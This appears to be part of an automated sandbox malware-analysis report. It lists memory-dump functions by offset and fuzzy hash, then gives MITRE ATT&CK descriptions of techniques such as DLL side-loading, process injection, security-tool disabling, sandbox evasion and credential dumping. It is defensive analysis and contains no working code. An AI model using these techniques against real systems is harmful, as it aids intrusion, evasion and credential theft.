Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a2cb48f9b5d5768096127c2b81d25295ed56b169532564d7ce068d0bdaf534c
Instruction ID: d61b45f1e5bff41ac039c3e1be2c6ceb00573401c61707a361c59cffebcac1a4
Opcode Fuzzy Hash: 2a2cb48f9b5d5768096127c2b81d25295ed56b169532564d7ce068d0bdaf534c
Instruction Fuzzy Hash: D2E02B7A55EA49CFD750EF78DCA06D4BF90FF01209F5602AEC049C6652E311585DC740

Function 00007FFD9C1E0239 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c36a6ae60683961a884acfd89b18a60a092f32672696e2deda55cf146d72218
Instruction ID: c3c9884d7235d1f3d4c9bf9562a0b046c4f865fbc6e10d413ec8b20c9d875807
Opcode Fuzzy Hash: 5c36a6ae60683961a884acfd89b18a60a092f32672696e2deda55cf146d72218
Instruction Fuzzy Hash: FFF0E231B0AA894FDB64BBB894B12A87BE1EF49300B42406ED04DC32D7CE6968428304

Function 00007FFD9BE97ABE Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f176479225ae3114d4be8bf830512d9a09f264f7d30b39ff5e96001ab8a47351
Instruction ID: 1e70728b9a6e0e45b1f849cab3dd264c90bedd4598ffbd4ec873c42c85f947e1
Opcode Fuzzy Hash: f176479225ae3114d4be8bf830512d9a09f264f7d30b39ff5e96001ab8a47351
Instruction Fuzzy Hash: 4EF02770A18A4C8FD798EF28841963977D2FF59314B14066FD48ED32B9DB21D840C381

Function 00007FFD9C31C3C1 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3008723268.00007FFD9C310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c310000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75064378973da187cd5c77faea73c59373f7c0c92a47007ce13082c02cb8dd51
Instruction ID: e5a3d58e11c14405beb500f04b1a129535f813880c5847d5710eebe28547acda
Opcode Fuzzy Hash: 75064378973da187cd5c77faea73c59373f7c0c92a47007ce13082c02cb8dd51
Instruction Fuzzy Hash: D0E06D3091D74A8FD374AB7894A90753BA0EF19211B1108BFC449C65B2E639E480C742

Function 00007FFD9C1EBF78 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65617c9ddf2d4da9b370b25e1206442788280127165a91ad8b9b2d5ff40338e6
Instruction ID: fdedcf2616b94fe410e6470f22cd93d65c9160db4feccbcc6dcd09221c91e2f8
Opcode Fuzzy Hash: 65617c9ddf2d4da9b370b25e1206442788280127165a91ad8b9b2d5ff40338e6
Instruction Fuzzy Hash: F4F0A766B4D6878AF73556D594713BC2A609F42380F3401BAC44EE31D2C82A6581968E

Function 00007FFD9C31405B Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3008723268.00007FFD9C310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c310000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe73da7ee5f703b3930e5173c929ccb997b770332a15b491f77003ce2b53b67d
Instruction ID: 5a9acfd64564afef31aa7f862193a34de8a5949f5cf4c8e8054e700e66a565ef
Opcode Fuzzy Hash: fe73da7ee5f703b3930e5173c929ccb997b770332a15b491f77003ce2b53b67d
Instruction Fuzzy Hash: 5CE04F30748A178FD7A5EB4DC8D0E6573F1FBA9B51B108229D047C32A5DD28F94687C1

Function 00007FFD9BAA5932 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed98dd3f3ee44d500d63944f37d0ab0adc4d36fa3ced095be2977bca5e858b47
Instruction ID: 71f1406f0aa921f7dbef4de7e9511f22a821eb4bada69302bb8c8774d7f0f7f1
Opcode Fuzzy Hash: ed98dd3f3ee44d500d63944f37d0ab0adc4d36fa3ced095be2977bca5e858b47
Instruction Fuzzy Hash: 84E01220F0E41E4AFB74A754C8A43B962A2AF98704F1601B4D40DD32E2DDB86F418A59

Function 00007FFD9BE98EE7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 431d7f9324cf0113718f1e131960f93ba87d37c83dac88d281cfad4acbc11590
Instruction ID: c98047e7dd07860922796b34724986d95d4be5e3fd658089652a71d6be32c1a1
Opcode Fuzzy Hash: 431d7f9324cf0113718f1e131960f93ba87d37c83dac88d281cfad4acbc11590
Instruction Fuzzy Hash: E5E0C201B1F38E0BEB2246B408320282F848F0B38470B0AB6D1468A2F3C84639485316

Function 00007FFD9BE935B7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ded4a0a92c5101ba6ff2dca37d0831c73dc1b6c5b4d37a97e37b19bc0ab29ef
Instruction ID: 632b9f1d5857c9ffae4e91607ae35c82ad9d3d4e2e1bc753be9d90d67ddfb083
Opcode Fuzzy Hash: 9ded4a0a92c5101ba6ff2dca37d0831c73dc1b6c5b4d37a97e37b19bc0ab29ef
Instruction Fuzzy Hash: 62D01241F0F3895BEB3705B4087357529588F1B28071706B6D5568A1E3E94A3A095362

Function 00007FFD9C316105 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3008723268.00007FFD9C310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c310000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d88d029878f51f14b3247cdd9038625f26157e8d3e0c4a2e7e6067400016de7
Instruction ID: 8d14a44e338080b07bde3a6f334ca7fcba00c3ac1346dfc6cd6955e6181770b6
Opcode Fuzzy Hash: 0d88d029878f51f14b3247cdd9038625f26157e8d3e0c4a2e7e6067400016de7
Instruction Fuzzy Hash: BBD05270C4E38A8ECB22277599A00903F70AE23240B8A05FBC0C4890A3D02E81AA8302

Function 00007FFD9C3105D0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3008723268.00007FFD9C310000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c310000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction ID: 8f180aab2aa75e9180ee0f7869d42a8d0eff98467748f81fc95ef1229aac25a4
Opcode Fuzzy Hash: 30b88120e300ce741a67909c90f8bad83c6bf9a8a2db7280cd1828b58fc114cc
Instruction Fuzzy Hash: D2D01230750D084F8B4CF63C885996033D1E76D2167854059D00AC72B1E966DC89C741

Function 00007FFD9C1E9B2E Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf496800edfd8fd3c01805251c460797fe91ece4b1da6ebb9ea7050eaf75344f
Instruction ID: 6038b25364f23df99889c2c2578653d1f64f1183da75fb4516b6e86e73ffce7e
Opcode Fuzzy Hash: cf496800edfd8fd3c01805251c460797fe91ece4b1da6ebb9ea7050eaf75344f
Instruction Fuzzy Hash: F3D05E12B1C4474AE378E69818727B865A2AF893E5F4445B9E05ED72C7CC182C80158A

Function 00007FFD9BAA1288 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7171a33e42d83f72f4ba8527df0c7ea61f792de63405cc16675492ea93523405
Instruction ID: e4602093f46de7236fc38d2205e83adfb81f60ad70b7509c7c3a7b0124baf8a3
Opcode Fuzzy Hash: 7171a33e42d83f72f4ba8527df0c7ea61f792de63405cc16675492ea93523405
Instruction Fuzzy Hash: 82C0123061180C8FCA88EB28C894D18B3E1FB1D304B960094E00ECB2B1D66AECC2CB41

Function 00007FFD9BAA06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998047f5ba5158fbdcd3a9a1ec0f486e676cab0f633ff53c71ec967aa9ac88cf
Instruction ID: cf9bbf8accdff324decad5647c7368196204c042e4b5fc106726baca8f8a96fc
Opcode Fuzzy Hash: 998047f5ba5158fbdcd3a9a1ec0f486e676cab0f633ff53c71ec967aa9ac88cf
Instruction Fuzzy Hash: DBC04C05F5B51F01F43577EE54660ACB2425BD5F54FD70172E50C800E19DED22D9027E

Function 00007FFD9C1E9B21 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a49251366f36addc5b59054dcb3b81351e39816cb33075f649229b7277b5bb
Instruction ID: 6daa7fccd2773b6c4cfd38be76e47040e5c943fc9dd8adca8622c57a27ccf390
Opcode Fuzzy Hash: 97a49251366f36addc5b59054dcb3b81351e39816cb33075f649229b7277b5bb
Instruction Fuzzy Hash: 65D0123224C806CFCBD4EB54C064E6533F1FB59B8076140A4D00FD72A0EE25EC50DB54

Function 00007FFD9BAA0B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d35bad1184f5b5e47cdffe1f2df8c3ca4acd76f79cf5b740b0897bc0f89a8d
Instruction ID: a7177e992e491791bbb22105ed4fa4befd142c612bcebed0ecc537d7af25f698
Opcode Fuzzy Hash: 55d35bad1184f5b5e47cdffe1f2df8c3ca4acd76f79cf5b740b0897bc0f89a8d
Instruction Fuzzy Hash: 8DC08C306118088FCA00E72CC88481432A0FB0D210BC20090E40EC7170E25A9C80CB00

Function 00007FFD9BE999BB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183a94bc241902a1e1332059234a9766b43e7704547d87c9f899a0b3a204fada
Instruction ID: 94704bd912e5e29bc823b500df40f7b35cd29879d458b8a1fc48b2a4c2f1e57c
Opcode Fuzzy Hash: 183a94bc241902a1e1332059234a9766b43e7704547d87c9f899a0b3a204fada
Instruction Fuzzy Hash: A3D09258B0E60F89F2394691817827A22AC9F14300E22043AD09F42AE1991E764A6201

Function 00007FFD9BE9F1BB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f092ddd65427193150ed79bbbec3dab1ce8f5eb3647e37a21fcb98ab4d372b
Instruction ID: 938d925716c02acc3a574edd4bda00fd7b485a43a29415569810a09ab18d4840
Opcode Fuzzy Hash: 05f092ddd65427193150ed79bbbec3dab1ce8f5eb3647e37a21fcb98ab4d372b
Instruction Fuzzy Hash: 4BD0C910B0FE1F85F638D682807027A25AC5F10302F62053EC4DF419E2CD1F770962C2

Function 00007FFD9BE9408B Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3001145543.00007FFD9BE90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BE90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9be90000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68b89938684c2ec70c183e1db0996653fd520fdb00855f7bf8d1eaad751af06f
Instruction ID: ed5aa60b3674a1ffa3d28a2e81fc58afad6c5c8614748b532c05681476e804e5
Opcode Fuzzy Hash: 68b89938684c2ec70c183e1db0996653fd520fdb00855f7bf8d1eaad751af06f
Instruction Fuzzy Hash: 0BD09214B1E51BA6F1384691813023921FD6F01300E22443EC55F419E5C91B76096202

Function 00007FFD9C1E0BAB Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7cc153e9d942685b02314f048de4a238e99487cd80ca5da9725136c954c8530
Instruction ID: f85ef5e35f1bffbf810f660c2947b4177854285ad62825a4b5910a4f0c93dce2
Opcode Fuzzy Hash: a7cc153e9d942685b02314f048de4a238e99487cd80ca5da9725136c954c8530
Instruction Fuzzy Hash: FCD0C91AB1E60785F27CA68180B067A26B4BF00384EE0407ED09FF39E1CE2D75017709

Function 00007FFD9BAA1FDC Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05846a134e0fa07b972f10bf18466c021b8ef9143ffc5ba7641444178423a2ff
Instruction ID: 50b0f376a4720ad371e38d857893759e18550a0675d0d5e8c19ae1e52dd1bb05
Opcode Fuzzy Hash: 05846a134e0fa07b972f10bf18466c021b8ef9143ffc5ba7641444178423a2ff
Instruction Fuzzy Hash: C5C04C01F5DC2A06E35A7318483167E08479F55768F590275E01FC72DECD5C5E0246CB

Function 00007FFD9C1E0BBE Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e63fb897111f6c63c2bb6d53d02873977537d25feb856ce7c0978cde6ec59a6e
Instruction ID: 464f6afa54b8f33dc6e5011806e1a4e153d5a014a10367f88efb527f981c6249
Opcode Fuzzy Hash: e63fb897111f6c63c2bb6d53d02873977537d25feb856ce7c0978cde6ec59a6e
Instruction Fuzzy Hash: 7CC01221A0E20B8BF229A39080316662B60AF01380F2180BAC44AAA5A2CA293A11A215

Function 00007FFD9C1EB49F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b67c30e797d4e2a6c2dd186d152c6390d8fe34abd02452cae6f3b873a55fe93b
Instruction ID: 90e0084c441bcde61c670c72d5c2ea93701b4407f0c0c6b46c77f34fb85571be
Opcode Fuzzy Hash: b67c30e797d4e2a6c2dd186d152c6390d8fe34abd02452cae6f3b873a55fe93b
Instruction Fuzzy Hash: 9DC04C11F0D2479BE63156E489E123C16A04F0A284B190571D647DB2D3D85D78C457A9

Function 00007FFD9C1E529F Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab0a7d24bfd282b09920a5bd00aade1ec3511569b86c8a6c712089f02af4dc3e
Instruction ID: 4207228ad0f3c17189f77408d397894d47d8b054da4a1b7040ec8c0d20ead961
Opcode Fuzzy Hash: ab0a7d24bfd282b09920a5bd00aade1ec3511569b86c8a6c712089f02af4dc3e
Instruction Fuzzy Hash: 53C09242F0F3879BEB7111F008F50BC06A10F56281B960572E51BEB2D3ED5C6D4663B9

Function 00007FFD9BAA06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58ac1502bac6f113ec67273c595232f6e3feaf55dbd935a0e379c1c3b0f3284f
Instruction ID: 29847ada6cc95d6a44b01707a324ce3441b0d50b56385195d6411a603a424b15
Opcode Fuzzy Hash: 58ac1502bac6f113ec67273c595232f6e3feaf55dbd935a0e379c1c3b0f3284f
Instruction Fuzzy Hash: D8B01200E5740F00E43433FA08A306870415B44600FC20070E40C8009198DD22980367

Function 00007FFD9BAA3385 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2996395649.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9baa0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a960b3d017fc7f32652da2fcce0e36630abe5b389132a0c39732f0f135ea32
Instruction ID: caae88f04a5bff3d08ec935d2c06d262c8fffd51b0178062e29acad0154e28a1
Opcode Fuzzy Hash: 70a960b3d017fc7f32652da2fcce0e36630abe5b389132a0c39732f0f135ea32
Instruction Fuzzy Hash: 93B09B21D4901B96F3349B70846D5F957529F55714F5A4231C80D560D5DD7C97015150

Function 00007FFD9C1E00E1 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3006608796.00007FFD9C1E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C1E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ffd9c1e0000_roKDGeHYZcczQzeuqXqYGYyw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03436da5e4587b712323b6b2942b7354cbe48daa296c471687163e7c99cbc5a9
Instruction ID: 94b8de7e8434975620811d4da1518187ef1f24a4a9682b0e094b31ced344c229
Opcode Fuzzy Hash: 03436da5e4587b712323b6b2942b7354cbe48daa296c471687163e7c99cbc5a9
Instruction Fuzzy Hash: CEB01211F4D30343F13011F0047017D00900B042C0E900534E10BD72E3DC8C3D407158

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

